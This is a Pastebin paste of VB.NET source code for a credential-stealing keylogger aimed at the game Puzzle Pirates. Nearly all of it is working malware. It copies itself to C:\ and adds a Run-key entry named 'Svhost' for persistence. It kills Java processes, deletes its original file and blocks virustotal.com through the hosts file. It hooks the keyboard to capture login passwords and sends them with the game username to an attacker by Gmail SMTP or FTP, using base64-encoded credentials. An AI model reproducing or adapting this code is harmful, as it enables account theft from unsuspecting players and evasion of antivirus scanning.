Guest User

Untitled

a guest
Aug 24th, 2018
192
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.71 KB | None | 0 0
  1. Imports Microsoft.Win32
  2. Imports System.Net.Mail
  3. Imports System.IO
  4. Imports System.Text
  5. Imports System.Security.Cryptography
  6. Public Class Form1
  7.  
  8. Dim selection(), PPS, emailuser, epassword, ftphost, ftpuser, ftppass, closepp, addsu, selfd, block, email, ftp, clearreg, ppuser As String
  9. Dim EmailMessage As New MailMessage()
  10. Dim sendmail As New SmtpClient()
  11.  
  12. Const shit = "@ppbuilder@"
  13. Private WithEvents look As New KeyboardHook
  14. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
  15. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
  16.  
  17.  
  18. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  19. Dim lalwat As Object
  20. lalwat = Application.StartupPath
  21. If lalwat = "C:\" Then
  22.  
  23. Else
  24. Dim filey As FileStream = Nothing
  25. filey = File.Create("C:\log.txt")
  26.  
  27. Using filey
  28. End Using
  29. Dim filepathy As Object = IO.Path.GetFileName(Application.ExecutablePath)
  30. Dim Meltwriter As New StreamWriter("C:\log.txt")
  31. Meltwriter.Write(Application.ExecutablePath)
  32. Meltwriter.Flush()
  33. Meltwriter.Close()
  34. If File.Exists("C:\" + filepathy) Then
  35. My.Computer.FileSystem.DeleteFile("C:\" + filepathy)
  36. My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\" + filepathy)
  37. Else
  38. My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\" + filepathy)
  39. End If
  40. Process.Start("C:\" + IO.Path.GetFileName(Application.ExecutablePath))
  41. Me.Close()
  42. End If
  43. Dim open As Object = Application.ExecutablePath
  44. FileOpen(1, open, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
  45.  
  46. email = Space(LOF(1))
  47. ftp = Space(LOF(1))
  48. emailuser = Space(LOF(1))
  49. epassword = Space(LOF(1))
  50. ftphost = Space(LOF(1))
  51. ftpuser = Space(LOF(1))
  52. ftppass = Space(LOF(1))
  53. closepp = Space(LOF(1))
  54. addsu = Space(LOF(1))
  55. clearreg = Space(LOF(1))
  56. selfd = Space(LOF(1))
  57. block = Space(LOF(1))
  58.  
  59. FileGet(1, email)
  60. FileGet(1, ftp)
  61. FileGet(1, emailuser)
  62. FileGet(1, epassword)
  63. FileGet(1, ftphost)
  64. FileGet(1, ftpuser)
  65. FileGet(1, ftppass)
  66. FileGet(1, closepp)
  67. FileGet(1, addsu)
  68. FileGet(1, clearreg)
  69. FileGet(1, selfd)
  70. FileGet(1, block)
  71.  
  72. FileClose(1)
  73.  
  74. selection = Split(email, shit)
  75. FileClose(1)
  76.  
  77. If selection(8) = True Then
  78. Dim tryit() As Process = System.Diagnostics.Process.GetProcessesByName("javaw")
  79. For Each p As Process In tryit
  80. p.Kill()
  81. Next
  82. End If
  83.  
  84. If selection(9) = True Then
  85. Dim appname As String = IO.Path.GetFileName(Application.ExecutablePath)
  86.  
  87.  
  88.  
  89. Dim regKey As Microsoft.Win32.RegistryKey
  90. regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
  91. regKey.SetValue("Svhost", "C:\" & appname)
  92. regKey.Close()
  93. End If
  94.  
  95. If selection(10) = True Then
  96. Dim ppkey As RegistryKey = Registry.CurrentUser.OpenSubKey("Software\JavaSoft\Prefs\rsrc\config\client", True)
  97. ppkey.SetValue("username", " ")
  98. ppkey.Close()
  99. End If
  100.  
  101. If selection(11) = True Then
  102. Try
  103. Dim original As Object
  104. original = My.Computer.FileSystem.ReadAllText("C:\log.txt")
  105. My.Computer.FileSystem.DeleteFile(original)
  106. Catch ex As Exception
  107. End Try
  108. End If
  109.  
  110. If selection(12) = True Then
  111. Dim path As [String] = "C:\Windows\System32\drivers\etc\hosts"
  112. Dim sw As New StreamWriter(path, True)
  113. Dim sitetoblock As [String] = vbLf & " 127.0.0.1 virustotal.com"
  114. sw.Write(sitetoblock)
  115. sw.Close()
  116.  
  117. End If
  118.  
  119. look.Hook()
  120.  
  121.  
  122. ppuser = My.Computer.Registry.GetValue _
  123. ("HKEY_CURRENT_USER\Software\JavaSoft\Prefs\rsrc\config\client", "username", Nothing)
  124.  
  125. End Sub
  126.  
  127. Private Function GetActiveWindowTitle() As String
  128. Dim MyStr As String
  129. MyStr = New String(Chr(0), 100)
  130. GetWindowText(GetForegroundWindow, MyStr, 100)
  131. MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
  132. Return MyStr
  133. End Function
  134.  
  135. Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
  136. look.Hook()
  137.  
  138. End Sub
  139.  
  140. Private Sub inppkeydown(ByVal e As System.Windows.Forms.Keys) Handles look.KeyDown
  141. If GetActiveWindowTitle() = "" Then
  142. RichTextBox1.Text &= look.Feed(e)
  143. Timer1.Enabled = True
  144. Else
  145. End If
  146. End Sub
  147. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  148.  
  149. If GetActiveWindowTitle.Contains("on") Then
  150. Dim filey As FileStream = Nothing
  151. filey = File.Create("C:\ftp.txt")
  152.  
  153. Using filey
  154. End Using
  155.  
  156.  
  157. If selection(1) = True Then
  158. With EmailMessage
  159. .From = New MailAddress(DeMe(selection(3)))
  160. .To.Add(DeMe(selection(3)))
  161. .Subject = "PPL - " & Environment.UserName
  162. .Body = "Puzzle Pirate Logger - Private Version" & vbNewLine & vbNewLine & GetActiveWindowTitle() & vbNewLine & vbNewLine & "Username: " & ppuser & vbNewLine & vbNewLine & "Password: " & RichTextBox1.Text
  163. End With
  164.  
  165. With sendmail
  166. .Host = "smtp.gmail.com"
  167. .Port = 587
  168. .EnableSsl = True
  169. .Credentials = New System.Net.NetworkCredential(DeMe(selection(3)), DeMe(selection(4)))
  170. .Send(EmailMessage)
  171. End With
  172. RichTextBox1.Clear()
  173. Timer1.Stop()
  174.  
  175. Else
  176.  
  177. Dim ftpwrite As New StreamWriter("C:\ftp.txt")
  178. ftpwrite.Write("Puzzle Pirate Logger - Private Version" & vbNewLine & vbNewLine & GetActiveWindowTitle() & vbNewLine & vbNewLine & "Username: " & ppuser & vbNewLine & vbNewLine & "Password: " & RichTextBox1.Text)
  179. ftpwrite.Flush()
  180. ftpwrite.Close()
  181.  
  182. Dim request As System.Net.FtpWebRequest = DirectCast(System.Net.WebRequest.Create("ftp://" & DeMe(selection(5)) & "/ftp.txt"), System.Net.FtpWebRequest)
  183. request.Credentials = New System.Net.NetworkCredential(DeMe(selection(6)), DeMe(selection(7)))
  184. request.Method = System.Net.WebRequestMethods.Ftp.UploadFile
  185. Dim File() As Byte = System.IO.File.ReadAllBytes("C:\ftp.txt")
  186. Dim strZ As System.IO.Stream = request.GetRequestStream()
  187. strZ.Write(File, 0, File.Length)
  188. strZ.Close()
  189. strZ.Dispose()
  190. ftpwrite.Write(" ")
  191. ftpwrite.Flush()
  192. ftpwrite.Close()
  193. RichTextBox1.Clear()
  194. Timer1.Stop()
  195. End If
  196.  
  197. End If
  198. End Sub
  199. Public Function DeMe(ByVal sData As String) As String
  200. Dim dData() As Byte = Convert.FromBase64String(sData)
  201. Dim dString As String = ASCIIEncoding.ASCII.GetString(dData)
  202. DeMe = dString
  203. End Function
  204.  
  205.  
  206. End Class '
Add Comment
Please, Sign In to add comment